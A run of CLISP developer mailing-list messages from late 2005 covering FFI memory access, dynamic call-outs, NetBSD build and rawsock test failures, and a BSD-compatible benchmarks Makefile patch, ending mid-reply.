This accessor is useful when operating with untyped foreign pointers =
(represented as #<FOREIGN-ADDRESS ...>) as opposed to typed ones =
(represented by #<FOREIGN-VARIABLE ...>). It allows to type and =
dereference the given pointer without the need to create an object of =
type FOREIGN-VARIABLE.
Alternatively, one could use (FOREIGN-VALUE (FOREIGN-VARIABLE ptr =
internal-c-type)) (also setf'able).

Note that the given type must be the *internal* representation of a =
foreign type, thus parse-c-type is required with literal names or =
types, e.g. (memory-as ptr (parse-c-type '(c-array uint8 3))) or (setf =
(memory-as ptr (parse-c-type 'uint32)) 0).

You may wish to put this somewhere:
Note on internal types.
Although the internal type used by CLISP is not documented, the =
programmer can rely on the following property:
o it's memoisable, i.e. the result of PARSE-C-TYPE is memoizable, which =
was the whole point in making PARSE-C-TYPE publicly available [of =
course, don't expect redefinitions or new definitions to work =
transparently across memoization].
However you may not save it to disk, reload it and expect it to work in =
the FFI, because serialization looses object equality.

[Not for impnotes: note that although memory-as may have some appeal, =
there's still overhead in PARSE-C-TYPE. And I've stil not yet =
implemented the MEMORY<->specialized-Lisp-vector API, which would =
exhibit best performance, but suffer from lack of generality w.r.t. =
types]

Regards,
	J=C3=B6rg H=C3=B6hle.


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> * xu yong <ubcrkl@tznvy.pbz> [2005-11-29 23:00:27 +0800]:
>
> Thogh, I think dynamic library unloading(re-loading) is important for
> me,because I want to use my own dll library, and when I find there
> something wrong with my library, I would like to re-build my dll
> library and reload it without quit CLISP.

this is precisely the reason close-foreign-library was provided.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-11-29 16:25:08 +0100]:
>
> Please include the following in impnotes

thanks, please take a look at
<http://www.podval.org/~sds/clisp/impnotes/dffi.html#memory-as>
<http://www.podval.org/~sds/clisp/impnotes/dffi.html#c-type-parse>

> [Not for impnotes: note that although memory-as may have some appeal,
> there's still overhead in PARSE-C-TYPE. And I've stil not yet
> implemented the MEMORY<->specialized-Lisp-vector API, which would
> exhibit best performance, but suffer from lack of generality
> w.r.t. types]

are you talking about a function that would copy a piece of C memory
in/from a (vector (unsigned-byte 8))?


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Sam Steingold wrote:
>>And I've stil not yet
>> implemented the MEMORY<->specialized-Lisp-vector API, which would
>> exhibit best performance, but suffer from lack of generality
>> w.r.t. types]
>
>are you talking about a function that would copy a piece of C memory
>in/from a (vector (unsigned-byte 8))?

Exactly, but also including unsigned-byte 16+32. Allegro has one such thing, which could serve as API-model?

Something similar would be nice for strings (convert-to/from-foreign-string), but supporting an arbitrary encoding and clisp's several byte sizes for characters make this far less trivial than just the NO_UNICODE 1:1 string mapping. But I haven't thought much about this kind.

The current implementations of convert-to/from-foreign-string I've come across are less than optimal in terms of used ressources vs. what could be achieved.

BTW, is unpack_string() (which IIRC uses the program stack) safe with very large strings or is there a general problem with alloca(>4KB or 8KB), i.e. the size of a few guard pages? Excuse me, I digress.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-11-29 19:07:20 +0100]:
>
> Sam Steingold wrote:
>>>And I've stil not yet
>>> implemented the MEMORY<->specialized-Lisp-vector API, which would
>>> exhibit best performance, but suffer from lack of generality
>>> w.r.t. types]
>>
>>are you talking about a function that would copy a piece of C memory
>>in/from a (vector (unsigned-byte 8))?
>
> Exactly, but also including unsigned-byte 16+32. Allegro has one such
> thing, which could serve as API-model?

OK, go ahead.

> Something similar would be nice for strings
> (convert-to/from-foreign-string), but supporting an arbitrary encoding
> and clisp's several byte sizes for characters make this far less
> trivial than just the NO_UNICODE 1:1 string mapping. But I haven't
> thought much about this kind.

I would rather have a few polymorphic functions than a bunch of
different APIs.
convert-string-from/to-bytes is, IMO, one such example.
why can't it take C data as an argument (and an optional pre-allocated
buffer to avoid consing up the return value)?
this would probably necessitate exporting mblen/wcslen access.

> The current implementations of convert-to/from-foreign-string I've
> come across are less than optimal in terms of used ressources vs. what
> could be achieved.

they should not cons - at least there should be a way to avoid consing.

one thing that bothers me about convert-string-from/to-bytes is that
they always cons up fresh return value.
trouble is that the return buffer must either have a fill pointer or
have the correct length (both requirements make it harder to supply them)

> BTW, is unpack_string() (which IIRC uses the program stack) safe with
> very large strings or is there a general problem with alloca(>4KB or
> 8KB), i.e. the size of a few guard pages? Excuse me, I digress.

ISTR that alloca works on arbitrary sized buffers -
and ISTR it was _you_ who said that on this list :-)

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Date: Tue Nov 29 10:40:01 2005
X-Original-Date: Tue, 29 Nov 2005 13:37:40 -0500

please test the current CVS head as the pre-test for the upcoming 2.36.
SF CF is mostly dead, so unless _you_ do the testing now,
_you_ will be stuck a broken release on your platform!

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Date: Tue Nov 29 11:28:12 2005
X-Original-Date: Tue, 29 Nov 2005 12:27:15 -0700

What's the best way to get computed DEF-CALL-OUTs? I have some classes
that need to dynamically create and evaluate DEF-CALL-OUT forms at
COMPUTE-SLOTS time. Is there a functional version of DEF-CALL-OUT or
should I use eval? Is there a way to get anonymous call-outs or would I
need (eval `(def-call-out ,(gensym) ..))?

(defmethod compute-slots :after ((proxy gtk-proxy))
  (dolist (slot (class-direct-slots proxy))
    (build-accessor-callouts proxy slot)))

(defun build-accessor-callouts (proxy slot)
  ;; here's what I want:
  (eval `(def-call-out ,(canonical-foriegn-accessor-name proxy slot :setter)
                                (:arguments (self c-pointer)
                                                  
,(canonical-foreign-type slot))
                                (:return-type nil)))
  (eval `(def-call-out ,(canonical-foreign-accessor-name proxy slot :getter)
                                (:arguments (self c-pointer))
                                (:return-type ,(canonical-foreign-type
slot))))

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Date: Tue Nov 29 12:21:02 2005
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> * Scott Williams <begzntr@tzk.arg> [2005-11-29 12:27:15 -0700]:
>
> What's the best way to get computed DEF-CALL-OUTs? I have some classes
> that need to dynamically create and evaluate DEF-CALL-OUT forms at
> COMPUTE-SLOTS time. Is there a functional version of DEF-CALL-OUT or
> should I use eval? Is there a way to get anonymous call-outs or would I
> need (eval `(def-call-out ,(gensym) ..))?
>
> (defmethod compute-slots :after ((proxy gtk-proxy))
>   (dolist (slot (class-direct-slots proxy))
>     (build-accessor-callouts proxy slot)))
>
> (defun build-accessor-callouts (proxy slot)
>   ;; here's what I want:
>   (eval `(def-call-out ,(canonical-foriegn-accessor-name proxy slot :setter)
>                                 (:arguments (self c-pointer)
>                                                   
> ,(canonical-foreign-type slot))
>                                 (:return-type nil)))
>   (eval `(def-call-out ,(canonical-foreign-accessor-name proxy slot :getter)
>                                 (:arguments (self c-pointer))
>                                 (:return-type ,(canonical-foreign-type
> slot))))

interesting.
how about this:

(ffi::foreign-library-function
  (canonical-foreign-accessor-name proxy slot :setter)
  (ffi::foreign-library "mylib.dll") nil
  (parse-c-type `(c-function (:arguments ...) (:return-type ...)
                             (:language ...))))


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> * root <qnyl@nkvbz-qrirybcre.bet> [2005-11-27 22:57:02 -0500]:
>
>
> 1. Get clisp-20041218 or newer. Build it with option
> --with-module=clx/mit-clx.

if would be nice if someone tried --with-module=clx/new-clx and reported
what McCLIM misses there...

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Date: Tue Nov 29 12:45:01 2005
X-Original-Date: Tue, 29 Nov 2005 21:36:24 +0100

I'm trying to compile clisp from CVS HEAD on NetBSD/powerpc,
building using:

./configure --with-module=clx/new-clx --with-debug --build build-zemdatav

It seems to mostly work, but make mod-check gives:

for m in i18n syscalls regexp; do rm -f $m/*.erg; done
z=""; for m in i18n syscalls regexp; do z=$z" \""$m/\"; done; ./clisp  -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -C -i tests/tests -x "(ext:exit (plusp (or (run-some-tests :dirlist '($z)) 0)))"
STACK depth: 16367
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

;; Loading file /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/tests.fas ...
0 errors, 0 warnings
;; Loaded file /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/tests.fas
RUN-TEST: started
#<INPUT BUFFERED FILE-STREAM CHARACTER
  #P"/home/magnus/noarchive/src/clisp-cvs/build-zemdatav/i18n/test.tst" @1>
(LISTP (SHOW (MULTIPLE-VALUE-LIST (MODULE-INFO "i18n" T)) :PRETTY T))
("i18n" 9
 (TEXTDOMAINDIR TEXTDOMAIN I18N::SET-TEXTDOMAINDIR I18N::SET-TEXTDOMAIN
  SET-LOCALE NGETTEXT LOCALE-CONV LANGUAGE-INFORMATION GETTEXT)
 67
 ((OR NULL INTEGER
   (MEMBER :ALL :COLLATE :CTYPE :MESSAGES :MONETARY :NUMERIC :TIME))
  (OR INTEGER
   (MEMBER :CODESET :D_T_FMT :D_FMT :T_FMT :T_FMT_AMPM :AM_STR :PM_STR :DAY_1
    :DAY_2 :DAY_3 :DAY_4 :DAY_5 :DAY_6 :DAY_7 :ABDAY_1 :ABDAY_2 :ABDAY_3 :ABDAY_4
    :ABDAY_5 :ABDAY_6 :ABDAY_7 :MON_1 :MON_2 :MON_3 :MON_4 :MON_5 :MON_6 :MON_7
    :MON_8 :MON_9 :MON_10 :MON_11 :MON_12 :ABMON_1 :ABMON_2 :ABMON_3 :ABMON_4
    :ABMON_5 :ABMON_6 :ABMON_7 :ABMON_8 :ABMON_9 :ABMON_10 :ABMON_11 :ABMON_12
    :ERA :ERA_D_FMT :ERA_D_T_FMT :ERA_T_FMT :ALT_DIGITS :RADIXCHAR :THOUSEP
    :YESEXPR :NOEXPR :YESSTR :NOSTR :CRNCYSTR))
  :YESSTR :YESEXPR :T_FMT_AMPM :T_FMT :TIME :THOUSEP :RADIXCHAR :PM_STR :NUMERIC
  :NOSTR :NOEXPR :MON_9 :MON_8 :MON_7 :MON_6 :MON_5 :MON_4 :MON_3 :MON_2 :MON_12
  :MON_11 :MON_10 :MON_1 :MONETARY :MESSAGES :ERA_T_FMT :ERA_D_T_FMT :ERA_D_FMT
  :ERA :D_T_FMT :D_FMT :DAY_7 :DAY_6 :DAY_5 :DAY_4 :DAY_3 :DAY_2 :DAY_1 :CTYPE
  :CRNCYSTR :COLLATE :CODESET :AM_STR :ALT_DIGITS :ALL :ABMON_9 :ABMON_8 :ABMON_7
  :ABMON_6 :ABMON_5 :ABMON_4 :ABMON_3 :ABMON_2 :ABMON_12 :ABMON_11 :ABMON_10
  :ABMON_1 :ABDAY_7 :ABDAY_6 :ABDAY_5 :ABDAY_4 :ABDAY_3 :ABDAY_2 :ABDAY_1
  I18N::MK-LOCALE-CONV))
EQL-OK: T
(GETTEXT "foo")
EQUAL-OK: "foo"
(NGETTEXT "abazonk" "abazonk" 12)
EQUAL-OK: "abazonk"
(TYPEP (SHOW (TEXTDOMAIN)) '(OR NULL STRING))
"messages"
EQL-OK: T
(SETF (TEXTDOMAIN) "zot")
EQUAL-OK: "zot"
(TYPEP (SHOW (TEXTDOMAINDIR "foo")) '(OR NULL PATHNAME))
#P"/usr/pkg/packages/gettext-lib-0.11.5nb6/share/locale/"
EQL-OK: T
(PATHNAMEP (SETF (TEXTDOMAINDIR "foo") (CAR (DIRECTORY "./"))))
EQL-OK: T
(LISTP (SHOW (SET-LOCALE) :PRETTY T))
(:ALL "C/en_US.UTF-8/C/C/C/C" :COLLATE "C" :CTYPE "en_US.UTF-8" :MESSAGES "C"
 :MONETARY "C" :NUMERIC "C" :TIME "C")
EQL-OK: T
(IF (FBOUNDP 'LOCALE-CONV) (LOCALE-CONV-P (SHOW (LOCALE-CONV) :PRETTY T)) T)
*** - Internal error: statement in file "gettext.c", line 286 has been reached!!
      Please send the authors of the program a description how you produced this
      error!

Bye.
*** Error code 1

Stop.
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Date: Tue Nov 29 13:14:01 2005
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> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-29 21:36:24 +0100]:
>
> I'm trying to compile clisp from CVS HEAD on NetBSD/powerpc,
> building using:
>
> ./configure --with-module=clx/new-clx --with-debug --build build-zemdatav

does --with-module=rawsock work too?

> (IF (FBOUNDP 'LOCALE-CONV) (LOCALE-CONV-P (SHOW (LOCALE-CONV) :PRETTY T)) T)
> *** - Internal error: statement in file "gettext.c", line 286 has been reached!!
>       Please send the authors of the program a description how you produced this
>       error!

please do this:

cd build-zemdatav
gdb lisp.run
base
run
(locale-conv)

you will stop in fehler_notreached (that signals the above error).
please do "up" in gdb to this function:

static object bool_char_lconv(char val) {
  switch (val) {
    case 0: return NIL;
    case 1: return T;
    case CHAR_MAX: return S(Kunspecific);
    default: NOTREACHED;
  }
}

what is val?
what struct lconv slot is it coming from?
how is CHAR_MAX defined on your system?

thanks a lot!

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The makefile in the benchmarks directory doesn't work with (Net)BSD
make.  Retrying the build with GNU make doesn't work as expected, as
the MAKE variable is overridden in the main makefile (it is set from
the environment variable with the same name during configure).

I tried to change the benchmarks makefile to be acceptable to both GNU
make and BSD make.  This patch seems to work (the CMUCL parts are not
tested):

--- Makefile	11 Aug 2002 20:57:01 +0200	1.2
+++ Makefile	29 Nov 2005 22:20:19 +0100	
@@ -1,5 +1,7 @@
 # Makefile for Gabriel's Benchmarks
 
+.SUFFIXES: .fas .x86f .lisp
+
 # CLISP
 CLISP=../build/clisp -norc
 
@@ -9,24 +11,24 @@
 LOG=benchmarks.log
 EVAL=no
 
-SOURCES=acker bfib boyer browse ctak dderiv deriv destru div2 fac fft fprint \
-    fread frpoly puzzle stak stream tak takl takr tprint traverse triang
+SOURCES=acker.lisp bfib.lisp boyer.lisp browse.lisp ctak.lisp dderiv.lisp deriv.lisp destru.lisp div2.lisp fac.lisp fft.lisp fprint.lisp \
+    fread.lisp frpoly.lisp puzzle.lisp stak.lisp stream.lisp tak.lisp takl.lisp takr.lisp tprint.lisp traverse.lisp triang.lisp
 
 all:
 	@echo "chose your compiler and run 'make clisp' or 'make cmucl'"
 
-%.fas: %.lisp
+.lisp.fas:
 	$(CLISP) -c $<
 
-%.x86f: %.lisp
+.lisp.x86f:
 	$(CMUCL) -eval '(progn (compile-file "$<") (quit 0))'
 
-clisp: run-all.fas $(addsuffix .lisp ,$(SOURCES))
-	$(CLISP) -i $< -x '(benchmarks :compiled "$(LOG)")'
+clisp: run-all.fas $(SOURCES)
+	$(CLISP) -i run-all.fas -x '(benchmarks :compiled "$(LOG)")'
 	@if [ "$(EVAL)" = "yes" ]; then $(CLISP) -i $< -x '(benchmarks :interpreted "$(LOG)")'; fi
 
-cmucl: run-all.x86f $(addsuffix .lisp ,$(SOURCES))
-	$(CMUCL) -load $< -eval '(progn (benchmarks :compiled "$(LOG)") (quit 0))'
+cmucl: run-all.x86f $(SOURCES)
+	$(CMUCL) -load run-all.x86f -eval '(progn (benchmarks :compiled "$(LOG)") (quit 0))'
 	@if [ "$(EVAL)" = "yes" ]; then $(CMUCL) -load $< -eval '(progn (benchmarks :interpreted "$(LOG)") (quit 0))'; fi
 
 clean: force


Magnus




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X-Original-Date: Tue, 29 Nov 2005 23:53:58 +0100

Trying to run the tests of the rawsock module (still NetBSD/powerpc)
gives the following.  The last test seems to wait forever.

magnus@zemdatav:~/noarchive/src/clisp-cvs/build-rawsock/rawsock$ ../clisp -=
K full -E 1:1 -q -norc -i ../tests/tests -x '(run-test "./test")'
STACK depth: 16367
;; Loading file /home/magnus/noarchive/src/clisp-cvs/build-rawsock/tests/te=
sts.lisp ...
;; Loaded file /home/magnus/noarchive/src/clisp-cvs/build-rawsock/tests/tes=
ts.lisp
RUN-TEST: started #<INPUT BUFFERED FILE-STREAM CHARACTER #P"./test.tst" @1>
(LISTP (SHOW (MULTIPLE-VALUE-LIST (MODULE-INFO "rawsock" T)) :PRETTY T))
("rawsock" 36
 (RAWSOCK:UDPCSUM RAWSOCK:TCPCSUM RAWSOCK:SOCK-WRITE RAWSOCK:SOCK-READ
  RAWSOCK:SOCK-LISTEN RAWSOCK:SOCK-CLOSE RAWSOCK:SOCKET-OPTION
  RAWSOCK:SOCKETPAIR RAWSOCK:SOCKET RAWSOCK:SOCKATMARK RAWSOCK::SOCKADDR-SL=
OT
  RAWSOCK:SOCKADDR-FAMILY RAWSOCK::SET-SOCKET-OPTION RAWSOCK:SENDTO
  RAWSOCK:SENDMSG RAWSOCK:SEND RAWSOCK:RECVMSG RAWSOCK:RECVFROM RAWSOCK:RECV
  RAWSOCK:PROTOCOL RAWSOCK:NTOHS RAWSOCK:NTOHL RAWSOCK:NETWORK
  RAWSOCK:MAKE-SOCKADDR RAWSOCK:IPCSUM RAWSOCK:ICMPCSUM RAWSOCK:HTONS
  RAWSOCK:HTONL RAWSOCK:GETSOCKNAME RAWSOCK:GETPEERNAME RAWSOCK:GETNAMEINFO
  RAWSOCK:GETADDRINFO RAWSOCK:CONVERT-ADDRESS RAWSOCK:CONNECT RAWSOCK:BIND
  RAWSOCK:ACCEPT)
 109
 ((OR NULL INTEGER
   (MEMBER :ALL :SOL-SOCKET :IPPROTO-IP :IPPROTO-IPV6 :IPPROTO-ICMP
    :IPPROTO-RAW :IPPROTO-TCP :IPPROTO-UDP :IPPROTO-IGMP :IPPROTO-IPIP
    :IPPROTO-EGP :IPPROTO-PUP :IPPROTO-IDP :IPPROTO-GGP :IPPROTO-HOPOPTS
    :IPPROTO-ROUTING :IPPROTO-FRAGMENT :IPPROTO-ESP :IPPROTO-AH :IPPROTO-IC=
MPV6
    :IPPROTO-DSTOPTS :IPPROTO-NONE))
  (OR NULL INTEGER
   (MEMBER :DEBUG :ACCEPTCONN :BROADCAST :USELOOPBACK :REUSEADDR :KEEPALIVE
    :LINGER :OOBINLINE :SNDBUF :RCVBUF :ERROR :TYPE :DONTROUTE :RCVLOWAT
    :RCVTIMEO :SNDLOWAT :SNDTIMEO))
  (OR NULL INTEGER (MEMBER :STREAM :DGRAM :RAW :RDM :SEQPACKET))
  (OR NULL INTEGER
   (MEMBER :OOB :PEEK :DONTROUTE :CTRUNC :TRUNC :DONTWAIT :EOR :WAITALL))
  (OR NULL INTEGER
   (MEMBER :IPPROTO-IP :IPPROTO-IPV6 :IPPROTO-ICMP :IPPROTO-RAW :IPPROTO-TCP
    :IPPROTO-UDP :IPPROTO-IGMP :IPPROTO-IPIP :IPPROTO-EGP :IPPROTO-PUP
    :IPPROTO-IDP :IPPROTO-GGP :IPPROTO-HOPOPTS :IPPROTO-ROUTING
    :IPPROTO-FRAGMENT :IPPROTO-ESP :IPPROTO-AH :IPPROTO-ICMPV6 :IPPROTO-DST=
OPTS
    :IPPROTO-NONE :IPPROTO-RSVP :IPPROTO-GRE :IPPROTO-PIM))
  (OR NULL INTEGER (MEMBER :PASSIVE :CANONNAME :NUMERICHOST :NUMERICSERV))
  (OR NULL INTEGER
   (MEMBER :UNSPEC :UNIX :LOCAL :INET :IMPLINK :PUP :CHAOS :DATAKIT :CCITT =
:IPX
    :NS :ISO :OSI :ECMA :APPLETALK :INET6 :DECNET :DLI :LAT :HYLINK :ROUTE
    :SNA))
  (MEMBER :FAMILY :DATA) SOCKADDR RAWSOCK:SOCKADDR RAWSOCK:MESSAGE
  RAWSOCK::MAKE-SA RAWSOCK:MAKE-PROTOCOL RAWSOCK:MAKE-NETWORK
  RAWSOCK:MAKE-ADDRINFO :WAITALL :V4MAPPED :USELOOPBACK :UNSPEC :UNIX :TYPE
  :TRUNC :STREAM :START :SOL-SOCKET :SOCKTYPE :SNDTIMEO :SNDLOWAT :SNDBUF :=
SNA
  :SERVICE :SEQPACKET :ROUTE :REUSEADDR :RDM :RCVTIMEO :RCVLOWAT :RCVBUF :R=
AW
  :PUP :PROTOCOL :PEEK :PASSIVE :OSI :OOBINLINE :OOB :NUMERICSERV :NUMERICS=
COPE
  :NUMERICHOST :NS :NOFQDN :NODE :NAMEREQD :LOCAL :LINGER :LEVEL :LAT
  :KEEPALIVE :ISO :IPX :IPPROTO-UDP :IPPROTO-TCP :IPPROTO-RSVP :IPPROTO-ROU=
TING
  :IPPROTO-RAW :IPPROTO-PUP :IPPROTO-PIM :IPPROTO-NONE :IPPROTO-IPV6
  :IPPROTO-IPIP :IPPROTO-IP :IPPROTO-IGMP :IPPROTO-IDP :IPPROTO-ICMPV6
  :IPPROTO-ICMP :IPPROTO-HOPOPTS :IPPROTO-GRE :IPPROTO-GGP :IPPROTO-FRAGMENT
  :IPPROTO-ESP :IPPROTO-EGP :IPPROTO-DSTOPTS :IPPROTO-AH :INET6 :INET :IMPL=
INK
  :HYLINK :FAMILY :ERROR :EOR :END :ECMA :DONTWAIT :DONTROUTE :DLI :DGRAM
  :DECNET :DEBUG :DATAKIT :DATA :CTRUNC :CHAOS :CCITT :CANONNAME :BROADCAST
  :APPLETALK :ALL :ADDRCONFIG :ACCEPTCONN))
EQL-OK: T
(PROGN (DEFUN TO-BYTES (STRING) (CONVERT-STRING-TO-BYTES STRING CHARSET:ASC=
II)) (DEFUN FROM-BYTES (VEC &OPTIONAL SIZE) (CONVERT-STRING-FROM-BYTES VEC =
CHARSET:ASCII :END SIZE)) (DEFUN MAKE-BYTE-VECTOR (LEN) (MAKE-ARRAY (ETYPEC=
ASE LEN (INTEGER LEN) (SEQUENCE (LENGTH LEN))) :ELEMENT-TYPE '(UNSIGNED-BYT=
E 8) :INITIAL-ELEMENT 0)) (DEFUN HOST->SA (HOST &OPTIONAL (PORT 0)) (LET* (=
(HE (RESOLVE-HOST-IPADDR HOST)) SA (IP (FIRST (HOSTENT-ADDR-LIST HE))) (TYP=
E (HOSTENT-ADDRTYPE HE)) (LI (READ-FROM-STRING (CONCATENATE 'STRING "(" (SU=
BSTITUTE #\Space #\. IP) ")"))) (VE (MAKE-BYTE-VECTOR (NTH-VALUE 1 (RAWSOCK=
::SOCKADDR-SLOT :DATA))))) (SHOW HE :PRETTY T) (SETF PORT (RAWSOCK:HTONS PO=
RT) (AREF VE 0) (LDB #S(BYTE :SIZE 8 :POSITION 0) PORT) (AREF VE 1) (LDB #S=
(BYTE :SIZE 8 :POSITION 8) PORT)) (REPLACE VE LI :START1 2) (SHOW VE) (SETQ=
 SA (SHOW (RAWSOCK:MAKE-SOCKADDR TYPE VE))) (ASSERT (EQUALP VE (RAWSOCK:SOC=
KADDR-DATA SA))) (SHOW (LIST 'RAWSOCK:SOCKADDR-FAMILY (MULTIPLE-VALUE-LIST =
(RAWSOCK:SOCKADDR-FAMILY SA)))) (SHOW (MAPCAR (LAMBDA (ADDR) (LET ((NUMERIC=
 (RAWSOCK:CONVERT-ADDRESS TYPE ADDR))) (SHOW (LIST :ADDRESS ADDR NUMERIC)) =
(ASSERT (STRING=3D IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC))))) (HOSTENT-A=
DDR-LIST HE))) SA)) (DEFUN LOCAL-SA-CHECK (SOCK SA-LOCAL) (LET* ((SA (RAWSO=
CK:GETSOCKNAME SOCK T)) (DATA (RAWSOCK:SOCKADDR-DATA SA))) (SHOW SA) (SHOW =
(LIST 'PORT (+ (AREF DATA 1) (ASH (AREF DATA 0) 8)))) (AND (=3D (RAWSOCK:SO=
CKADDR-FAMILY SA) (RAWSOCK:SOCKADDR-FAMILY SA-LOCAL)) (EQUALP (SUBSEQ DATA =
2) (SUBSEQ (RAWSOCK:SOCKADDR-DATA SA-LOCAL) 2))))) (DOLIST (WHAT '(NIL :DAT=
A :FAMILY)) (SHOW (CONS (LIST 'RAWSOCK::SOCKADDR-SLOT WHAT) (MULTIPLE-VALUE=
-LIST (RAWSOCK::SOCKADDR-SLOT WHAT))))) (DEFVAR *SA-REMOTE*) (DEFVAR *SA-LO=
CAL*) (DEFVAR *BUFFER* (MAKE-BYTE-VECTOR 1024)) (DEFVAR *SOCK*) (DEFVAR *SO=
CK1*) (DEFVAR *SOCK2*) (DEFVAR *RECV-RET*) (DEFVAR *RECVFROM-RET*) (DEFVAR =
*READ-RET*) (DEFUN MY-RECVFROM (SO VE SA &OPTIONAL (STATUS :OUTPUT) &AUX SI=
ZE) (WHEN (SOCKET-STATUS (CONS SO :INPUT) 1) (MULTIPLE-VALUE-BIND (LEN SA-L=
EN SA1) (RAWSOCK:RECVFROM SO VE SA) (ASSERT (EQ SA SA1)) (SETQ SIZE LEN) (S=
HOW (LIST LEN SA-LEN SA (SUBSEQ VE 0 LEN)) :PRETTY T))) (ASSERT (EQ STATUS =
(SHOW (SOCKET-STATUS SO)))) (RAWSOCK:SOCK-CLOSE *SOCK*) SIZE) T)
((RAWSOCK::SOCKADDR-SLOT NIL) 16)
((RAWSOCK::SOCKADDR-SLOT :DATA) 2 14)
((RAWSOCK::SOCKADDR-SLOT :FAMILY) 1 1)
EQL-OK: T
(PROGN (SETQ *SA-REMOTE* (HOST->SA "ftp.gnu.org" 21)) T)
#<HOSTENT :NAME "ftp.gnu.org" :ALIASES NIL :ADDR-LIST ("199.232.41.7")
  :ADDRTYPE 2>
#(21 0 199 232 41 7 0 0 0 0 0 0 0 0)
#<RAWSOCK:SOCKADDR :%DATA #(0 2 21 0 199 232 41 7 0 0 0 0 0 0 0 0)>
(RAWSOCK:SOCKADDR-FAMILY (2 16))
(:ADDRESS "199.232.41.7" 120187079)
[SIMPLE-ERROR]: (STRING=3D IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC)) must =
evaluate to a non-NIL value.
ERROR!! ERROR should be T !
(PROGN (SETQ *SA-LOCAL* (HOST->SA :DEFAULT)) T)
#<HOSTENT :NAME "zemdatav.stor.no-ip.org" :ALIASES NIL
  :ADDR-LIST ("213.67.239.170") :ADDRTYPE 2>
#(0 0 213 67 239 170 0 0 0 0 0 0 0 0)
#<RAWSOCK:SOCKADDR :%DATA #(0 2 0 0 213 67 239 170 0 0 0 0 0 0 0 0)>
(RAWSOCK:SOCKADDR-FAMILY (2 16))
(:ADDRESS "213.67.239.170" 2867807189)
[SIMPLE-ERROR]: (STRING=3D IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC)) must =
evaluate to a non-NIL value.
ERROR!! ERROR should be T !
(CATCH 'TYPE-ERROR-HANDLER (HANDLER-BIND ((TYPE-ERROR #'TYPE-ERROR-HANDLER)=
) (RAWSOCK:SOCKET :INET :FOO NIL)))
[SIMPLE-TYPE-ERROR]: RAWSOCK:SOCKET: Lisp value :FOO is not found in table =
"check_socket_type": ((1 :STREAM) (2 :DGRAM) (3 :RAW) (4 :RDM) (5 :SEQPACKE=
T))

(:DATUM :FOO :EXPECTED-TYPE
 (OR INTEGER (MEMBER NIL :STREAM :DGRAM :RAW :RDM :SEQPACKET)))
EQL-OK: NIL
(CATCH 'TYPE-ERROR-HANDLER (HANDLER-BIND ((TYPE-ERROR #'TYPE-ERROR-HANDLER)=
) (RAWSOCK:SOCKET :FOO :STREAM NIL)))
[SIMPLE-TYPE-ERROR]: RAWSOCK:SOCKET: Lisp value :FOO is not found in table =
"check_socket_domain": ((0 :UNSPEC) (1 :UNIX) (1 :LOCAL) (2 :INET) (3 :IMPL=
INK) (4 :PUP) (5 :CHAOS) (9 :DATAKIT) (10 :CCITT) (23 :IPX) (6 :NS) (7 :ISO=
) (7 :OSI) (8 :ECMA) (16 :APPLETALK) (24 :INET6) (12 :DECNET) (13 :DLI) (14=
 :LAT) (15 :HYLINK) (17 :ROUTE) (11 :SNA))

(:DATUM :FOO :EXPECTED-TYPE
 (OR INTEGER
  (MEMBER NIL :UNSPEC :UNIX :LOCAL :INET :IMPLINK :PUP :CHAOS :DATAKIT :CCI=
TT
   :IPX :NS :ISO :OSI :ECMA :APPLETALK :INET6 :DECNET :DLI :LAT :HYLINK :RO=
UTE
   :SNA)))
EQL-OK: NIL
(INTEGERP (SHOW (SETQ *SOCK* (RAWSOCK:SOCKET :INET :STREAM NIL))))
6
EQL-OK: T
(UNLESS (EQUALP #(127 0 0 1) (SUBSEQ (RAWSOCK:SOCKADDR-DATA *SA-LOCAL*) 2 6=
)) (RAWSOCK:BIND *SOCK* *SA-LOCAL*) (NOT (LOCAL-SA-CHECK *SOCK* *SA-LOCAL*)=
))
[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-LOCAL* has no value

ERROR!! ERROR should be NIL !
(RAWSOCK:CONNECT *SOCK* *SA-REMOTE*)
[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-REMOTE* has no value

ERROR!! ERROR should be NIL !
(EQUALP (RAWSOCK:GETPEERNAME *SOCK* T) *SA-REMOTE*)
[SIMPLE-FILE-ERROR]: UNIX error 57 (ENOTCONN): Socket is not connected

ERROR!! ERROR should be T !
(SOCKET-STATUS (LIST (CONS *SOCK* :INPUT)))



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Date: Tue Nov 29 15:14:04 2005
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Sam Steingold <sds@gnu.org> writes:

>> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-29 21:36:24 +0100]:
>>
>> I'm trying to compile clisp from CVS HEAD on NetBSD/powerpc,
>> building using:
>>
>> ./configure --with-module=clx/new-clx --with-debug --build build-zemdatav
>
> does --with-module=rawsock work too?

It compiles, but seems to fail its checks.  See separate message.

> please do this:
>
> cd build-zemdatav
> gdb lisp.run
> base
> run
> (locale-conv)
>
> you will stop in fehler_notreached (that signals the above error).
> please do "up" in gdb to this function:
>
> static object bool_char_lconv(char val) {
>   switch (val) {
>     case 0: return NIL;
>     case 1: return T;
>     case CHAR_MAX: return S(Kunspecific);
>     default: NOTREACHED;
>   }
> }
>
> what is val?

val is 255.

> what struct lconv slot is it coming from?

From p_cs_precedes (line 311 of gettext.c).

> how is CHAR_MAX defined on your system?

